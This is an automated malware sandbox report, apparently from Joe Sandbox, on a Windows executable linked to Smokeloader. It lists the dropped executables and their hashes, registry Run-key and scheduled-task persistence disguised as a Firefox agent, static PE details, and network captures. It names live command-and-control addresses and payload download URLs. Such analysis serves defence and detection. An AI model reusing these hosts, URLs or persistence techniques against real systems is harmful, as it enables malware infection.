Time	Type	Description
13:56:45	API Interceptor	782x Sleep call for process: explorer.exe modified
13:57:11	Task Scheduler	Run new task: Firefox Default Browser Agent 09D58CB650178F57 path: C:\Users\user\AppData\Roaming\eviivjg
13:57:57	API Interceptor	1x Sleep call for process: AF0C.exe modified
13:58:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe
13:58:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
95.158.162.200	GyTbKONlyq.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	uaery.top/dl/build.exe
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	uaery.top/dl/build.exe
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	uaery.top/dl/build.exe
	pVpuKjhFJs.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	5zc9vbGBo3.exe	Get hash	malicious	Browse	junntd.xyz/upload/
	InnAcjnAmG.exe	Get hash	malicious	Browse	junntd.xyz/upload/
	jedQZAb00T.exe	Get hash	malicious	Browse	netvxi.com/upload/
	invoice.doc	Get hash	malicious	Browse	carfax.com/57rv2oqpy/index.php
	Doreatha Micco Resume.doc	Get hash	malicious	Browse	carfax.com/ajhimr3u/index.php
	Payment-892_Copy.xls	Get hash	malicious	Browse	medastr.com/docs/s.php
	A442FCDB_Factura_FMC7388_20190424.xls	Get hash	malicious	Browse	gohaiendo.com/ppk/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.tvtools.fi	file.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	172.67.152.159
	GyTbKONlyq.exe	Get hash	malicious	Browse	104.21.88.198
	eQcKjYOV30.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	104.21.88.198
	SU2xrRCA3S.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	104.21.88.198
	y2PdD43EkF.exe	Get hash	malicious	Browse	172.67.152.159
	X3FY8LCacG.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	A5VY5aB4rk.exe	Get hash	malicious	Browse	172.67.152.159

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
VIDEOSATBG	GyTbKONlyq.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	pVpuKjhFJs.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200
	file.exe	Get hash	malicious	Browse	95.158.162.200

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	8dlWtwg48G.exe	Get hash	malicious	Browse	190.114.9.88
	8dlWtwg48G.exe	Get hash	malicious	Browse	190.114.9.88
	GyTbKONlyq.exe	Get hash	malicious	Browse	190.114.9.88
	KjRdKF51Il.exe	Get hash	malicious	Browse	190.114.9.88
	GW1u7Ax4Fu.exe	Get hash	malicious	Browse	190.114.9.88
	Ww8rdvUOAk.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	0a25ac441bb2adabe39c3349c625f2fa673ba097747f5.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	35d7bfaa55b73ca97da12fba7a06328783358576034ed.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	3gcs852R7S.exe	Get hash	malicious	Browse	190.114.9.88
	tHp33gimYz.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	jrVH8C0uGi.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\AF0C.exe	file.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\AF0C.exe	file.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\B9D7.exe	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\AF0C.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	567808
Entropy (8bit):	7.622573972455244
Encrypted:	false
SSDEEP:	12288:nVHjLhUVXBhn+CA//s93Qsm0b+O4n9S9RAkJE:n5vYxhEM9PxonARA
MD5:	351E9D6C319A51D02291C57DCCD2837F
SHA1:	1BEF058FCEE26CBB067F91BB347269DC2F40D7EE
SHA-256:	F72D871D40BCAA009D3F2456134152852F2776C74D5E24AF0BC69C1287422B16
SHA-512:	DCDD14D7CA1CFF15006F14211A7017876AC4E90414CDC626EAC778010A54CDAB75C6B58EACD1CC6B7D2BD072352EF5AC86620CF145C2D82CBE84D32C27246881
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].+..sE..sE..sE..!...sE..!..psE..!..1sE.>.>..sE..sD.sE..!...sE..!...sE..!...sE.Rich.sE.........PE..L......a................."...\.......g.......@....@..........................................................................&..d....0...B...........................................................@..@............................................text.... .......".................. ..`.data........@.......&..............@....rsrc....B...0...D...<..............@..@.reloc...(.......*..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B9D7.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3884544
Entropy (8bit):	7.9781710711411105
Encrypted:	false
SSDEEP:	98304:Xd7cKoRj55L6fwb30V24T0oQsz9oasBhGLNB:XezRF5L6fwD0cm0oQsjsqL
MD5:	87B2335C70644C8760842168AB533110
SHA1:	12A9C90364C740B9BA79AE17C1231C9FD149BE51
SHA-256:	69986FEF23051BFFD89CD0102875936B9D4F965A4CA9C9ED93799747BFDD3B0C
SHA-512:	8AE20E2C731DA6FAFD7261D29DB550510ADE4BC4E339DFC55E42B438A5CC9A71BF41AF63351F3FBB802B283AE9EC3D8A62D310775DB39248ECEC697A52D10E8F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].+..sE..sE..sE..!...sE..!..psE..!..1sE.>.>..sE..sD.sE..!...sE..!...sE..!...sE.Rich.sE.........PE..L......a................."....L......g.......@....@..........................`O.......;......................................&..d.....L..B....................O..............................A.......@..@............................................text.... .......".................. ..`.data...HiK..@....8..&..............@....rsrc....R....L..D....9.............@..@.reloc..BH....O..J....:.............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C60F.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	459264
Entropy (8bit):	6.811691785184634
Encrypted:	false
SSDEEP:	12288:UAmCYO5f9gYH6O5cr+rn6uMkvWhYvD+0sP:UAmCYOReYH6NCrn6uB40
MD5:	A0114856020C2A20C6C85A7DB2027B03
SHA1:	83DD0F53B4FD0D479F98A80E13CFB992E8237014
SHA-256:	0FC239EEF963BDC00F2DF0E9B581C68925B86E28DE511AD12EFB881CE2B1CF23
SHA-512:	05A1D92C7330839971604940B696A85D412FC99D6DDBC467051DCD1BA8CEA923F35C5AE7DE56D94124E01F76E9335E2D7FD488F5634E4231ECAEB62EC147B3FA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}.z...)...)...).B.(...).B.(...).B.(...)A.P)...)A.R)...)A.S)...)(.j)...)...)y..)...)...)bB.(...)Rich...)........................PE..L....u.c.................2..........i........P....@..........................P............@..................................`..(................................6..................................0...@............P...............................text...`........................... ..`.text...`........................... ....rdata.......P.......6..............@..@.data...Xf...p...R...R..............@....gfids..d...........................@..@.debug_oP...........................@..B.reloc...6.......8..................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\B9D7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4487680
Entropy (8bit):	6.564516568968805
Encrypted:	false
SSDEEP:	98304:XJIkmx5C4J/FM844K9g15wwRZwVVvg5U1yuXVdjcC0wyL:Skmm4J/m844Ft/1
MD5:	EFB1F3B0CD6AC98848B5A2B81B275755
SHA1:	E7342178C96AE08C2D74E74B8D69FC132031405C
SHA-256:	3F7CCA566E1CF8681E09CD2425323F6D9485ECFB67E00E52A02946A41F3EFA7C
SHA-512:	CBE5DB771F017B61EC54B9A5A5B18695A033AD1AF0D596935A41BB6E97BAF98FF40E99359E38DBCC30C94511F17DF5BDDEED2AD3A87725B9D60F0A884EA28B55
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....1.c..................>.........t.>.......?...@..........................PE......................................`@.......@..9....D..f....................@..W....................................................@......P@......................text.....>.......>................. ..`.itext........>.......>............. ..`.data.........?.......>.............@....bss....Xg....?..........................idata...9....@..:...r?.............@....didata......P@.......?.............@....edata.......`@.......?.............@..@.rdata..D....p@.......?.............@..@.reloc...W....@..X....?.............@..B.rsrc....f....D..f....D.............@..@.............PE......zD.............@..@........................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\AppData\Local\Temp\C60F.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbON:u
MD5:	89CA7E02D8B79ED50986F098D5686EC9
SHA1:	A602E0D4398F00C827BFCF711066E67718CA1377
SHA-256:	30AC626CBD4A97DB480A0379F6D2540195F594C967B7087A26566E352F24C794
SHA-512:	C5F453E32C0297E51BE43F84A7E63302E7D1E471FADF8BB789C22A4D6E03712D26E2B039D6FBDBD9EBD35C4E93EC27F03684A7BBB67C4FADCCE9F6279417B5DE
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\c5d8393293ce2ba62f117b2c2d55bc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\AppData\Local\Temp\C60F.exe
File Type:	Matlab v4 mat-file (little endian) , sparse, rows 0, columns 22
Category:	dropped
Size (bytes):	1446
Entropy (8bit):	7.402189271320077
Encrypted:	false
SSDEEP:	24:EtfJzMehIUZ553vkWCUiUCShXCR9YekaNAoeVUH7HoCPjpJq0nRUaDdILfmCJMN:Et9MehIUZ5531iUR9MYR1mbXjpJie+fi
MD5:	BC2F0D9A585BC8694DA0763E4FC5EBE4
SHA1:	BBC2317D57946C1B6EEA17D558C0A44BB43AE1F0
SHA-256:	BFACB8B7F7D98C7476DEFF05DCD74EA7D8458425D8299435DB0A04DD829A31F4
SHA-512:	39E9DA37DF3FE5B822DA9744146078EE3CB1E3DD14FAD66E3406D1AE6E824E9DBF56E174F4DB7317602DCFC06F6C87C841C877762A3742A683A1AB794F1E0C3D
Malicious:	false
Preview:	........................................MyDefaultKeyContainer.RSA1....................8t.Qb...._.#. .N...e..Fm..3%O.u.....AMn...)..Cj..Q.s.....A.xF....:;a7g."..v5.k ..Gr....,5..D.f.P+...z..8.:.N.Q........................z..O.........O...L.b..I......,...C.r.y.p.t.o.A.P.I. .P.r.i.v.a.t.e. .K.e.y....f...... .....JI.......:.F......CE..x............... ....Z..r.%@.%=......`.i.0.....p.......yU\|3.`.~.......-.......0..o.o...V. O.-..uFJ....f..f.e....5ObC.......o._.k.&.!N..,.Xj..I....{..ca.w..Yu....\|....N..^.&..@..Ek..W.z[.n.....gh....t.....=`<.G.1.cr4x......(.2.\.......R.5..%J..Xe. ..7].z.?..`.K0(..I.V[.Z....9.E....91..rGD..$.D.{.A....A...&..Ik......b?e...{.....D.U5..........9.B.L.t..}#.)...i. .`..H..&.F+..((...\|.p.E..1cYC..)pGO.R...o...Y..7.D..a.....(5.q.........=....q...4.&K....Z........2["p.......=......K....d.r./..........(........".l.g.Y>Ddu..}..V.w.cf..K.[.ri._E}$L.......v....6j:TS@.bWn#..~.I.......# .Mi.{w*..~.I2.n.:.^..z.[.p......E.OAo.

C:\Users\user\AppData\Roaming\eviivjg

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	183296
Entropy (8bit):	7.056022980867988
Encrypted:	false
SSDEEP:	3072:Zod1xx0xLum25nF7TuIWu8KSN1eiJUbgTBNqcFMywaAp1FBLa:Cd1sxLumcNT1Wu8ZN1nJUbmBNqcYDZe
MD5:	D418791F343E4C979994D9D719A4B720
SHA1:	D927D18128529EB622BBFABE805A483034980286
SHA-256:	63E0FAE716F15B64E33DB258F7CF2CEDECB069DBCC8AC88518585714017D5D16
SHA-512:	3C675E96BD1BC5E48603B7426A702A31E7A6ED3F76BC4442CAEF9E0A3CB8CE98B0EA1D5D4B9DA08910CE9F84BB71C1D933E2FDBE0AFD6D9C4D4236D2A016262B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 69%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................o.......y......~......T........d.....p......n......k....Rich...........PE..L...S..a......................3.....)M............@...........................4......[......................................D...d.....3..u...................`4.....................................X...@............................................text...N........................... ..`.data.....3......\..................@....rsrc....u....3..v..................@..@.reloc...6...`4..8..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\eviivjg:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\pigalicapi.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\C60F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	459264
Entropy (8bit):	6.811691785184634
Encrypted:	false
SSDEEP:	12288:UAmCYO5f9gYH6O5cr+rn6uMkvWhYvD+0sP:UAmCYOReYH6NCrn6uB40
MD5:	A0114856020C2A20C6C85A7DB2027B03
SHA1:	83DD0F53B4FD0D479F98A80E13CFB992E8237014
SHA-256:	0FC239EEF963BDC00F2DF0E9B581C68925B86E28DE511AD12EFB881CE2B1CF23
SHA-512:	05A1D92C7330839971604940B696A85D412FC99D6DDBC467051DCD1BA8CEA923F35C5AE7DE56D94124E01F76E9335E2D7FD488F5634E4231ECAEB62EC147B3FA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}.z...)...)...).B.(...).B.(...).B.(...)A.P)...)A.R)...)A.S)...)(.j)...)...)y..)...)...)bB.(...)Rich...)........................PE..L....u.c.................2..........i........P....@..........................P............@..................................`..(................................6..................................0...@............P...............................text...`........................... ..`.text...`........................... ....rdata.......P.......6..............@..@.data...Xf...p...R...R..............@....gfids..d...........................@..@.debug_oP...........................@..B.reloc...6.......8..................@..B........................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.056022980867988
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	183296
MD5:	d418791f343e4c979994d9d719a4b720
SHA1:	d927d18128529eb622bbfabe805a483034980286
SHA256:	63e0fae716f15b64e33db258f7cf2cedecb069dbcc8ac88518585714017d5d16
SHA512:	3c675e96bd1bc5e48603b7426a702a31e7a6ed3f76bc4442caef9e0a3cb8ce98b0ea1d5d4b9da08910ce9f84bb71c1d933e2fdbe0afd6d9c4d4236d2a016262b
SSDEEP:	3072:Zod1xx0xLum25nF7TuIWu8KSN1eiJUbgTBNqcFMywaAp1FBLa:Cd1sxLumcNT1Wu8ZN1nJUbmBNqcYDZe
TLSH:	7004CF323AE08077E46B85711831D6916A3FBC72A7A1C587331816EE1DB07D29E767E3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................o.......y.......~......T..........d.....p.......n.......k.....Rich............PE..L...S..a...................

File Icon


Icon Hash:	e5e2e0f4e6f2f866

Static PE Info

General

Entrypoint:	0x404d29
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x61E8FF53 [Thu Jan 20 06:21:07 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	798e86ce43c6c756580e060a65d134f9

Entrypoint Preview

Instruction
call 00007F9C38A5DAC3h
jmp 00007F9C38A5AF1Eh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F9C38A5B0C6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F9C38A5B0F0h
test ecx, 00000003h
jne 00007F9C38A5B091h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F9C38A5B08Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F9C38A5B0D4h
test ah, ah
je 00007F9C38A5B0C6h
test eax, 00FF0000h
je 00007F9C38A5B0B5h
test eax, FF000000h
je 00007F9C38A5B0A4h
jmp 00007F9C38A5B06Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 00401250h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc244	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x33e000	0x7598	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x346000	0x9a0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11f0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2e58	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1b0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xbc4e	0xbe00	False	0.5879523026315789	data	6.591402230062154	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xd000	0x3307a0	0x15c00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x33e000	0x7598	0x7600	False	0.5435977224576272	data	4.903747745706168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x346000	0x3610	0x3800	False	0.15178571428571427	data	1.7347935252224864	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x33e2b0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Vietnamese	Vietnam
RT_ICON	0x33f158	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Vietnamese	Vietnam
RT_ICON	0x33fa00	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Vietnamese	Vietnam
RT_ICON	0x3400c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Vietnamese	Vietnam
RT_ICON	0x340630	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Vietnamese	Vietnam
RT_ICON	0x342bd8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Vietnamese	Vietnam
RT_ICON	0x343c80	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Vietnamese	Vietnam
RT_ICON	0x344608	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Vietnamese	Vietnam
RT_STRING	0x344d20	0x2cc	data	Vietnamese	Vietnam
RT_STRING	0x344ff0	0x5a6	data	Vietnamese	Vietnam
RT_GROUP_ICON	0x344a70	0x76	data	Vietnamese	Vietnam
RT_VERSION	0x344ae8	0x238	data

Imports

DLL	Import
KERNEL32.dll	SetMailslotInfo, GetModuleHandleW, GetTickCount, GetCommConfig, GetCurrentThread, GetNumberFormatA, GetGeoInfoW, GlobalAlloc, GetSystemDirectoryW, LoadLibraryW, ReadConsoleInputA, DeleteVolumeMountPointW, HeapCreate, GetBinaryTypeA, GetMailslotInfo, CreateActCtxA, GetStartupInfoA, FillConsoleOutputCharacterW, GetLastError, GetProcAddress, VirtualAlloc, DisableThreadLibraryCalls, ProcessIdToSessionId, GetProcessWorkingSetSize, CreateEventW, GetNumberOfConsoleMouseButtons, FindFirstChangeNotificationA, HeapSetInformation, FreeEnvironmentStringsW, GetConsoleTitleW, RequestWakeupLatency, GetFileAttributesExW, GetVersionExA, FileTimeToLocalFileTime, GetCurrentProcessId, MoveFileWithProgressW, GetTempPathA, ReadConsoleOutputCharacterW, LCMapStringW, GetLocaleInfoA, GetStringTypeW, GetStringTypeA, CopyFileExW, InterlockedIncrement, RemoveDirectoryW, MultiByteToWideChar, WideCharToMultiByte, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetStartupInfoW, RaiseException, RtlUnwind, HeapAlloc, HeapFree, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, InterlockedDecrement, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetModuleFileNameW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, DeleteCriticalSection, VirtualFree, QueryPerformanceCounter, GetSystemTimeAsFileTime, LeaveCriticalSection, EnterCriticalSection, HeapReAlloc, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, HeapSize, LoadLibraryA, InitializeCriticalSectionAndSpinCount, LCMapStringA
USER32.dll	IsCharAlphaNumericA, RealGetWindowClassW, RealChildWindowFromPoint, IsChild, NotifyWinEvent, LoadMenuA, GetCursorInfo, CharUpperW, CharLowerBuffA, ClipCursor, GetKeyNameTextW
ADVAPI32.dll	LogonUserW, ReportEventA, IsValidAcl
ole32.dll	CoRegisterMallocSpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Vietnamese	Vietnam

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.32.180.10.749684802851815 02/16/23-13:57:12.048829	TCP	2851815	ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18	49684	80	192.168.2.3	2.180.10.7
192.168.2.32.180.10.749686802851815 02/16/23-13:57:16.299577	TCP	2851815	ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18	49686	80	192.168.2.3	2.180.10.7

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 16, 2023 13:57:11.929548025 CET	49684	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:12.034672976 CET	80	49684	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:12.035957098 CET	49684	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:12.048829079 CET	49684	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:12.048944950 CET	49684	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:12.153661966 CET	80	49684	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:15.551765919 CET	80	49684	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:15.551827908 CET	80	49684	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:15.552053928 CET	49684	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:15.557648897 CET	49684	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:15.613524914 CET	49685	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:15.661710978 CET	80	49684	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:15.719943047 CET	80	49685	2.180.10.7	192.168.2.3
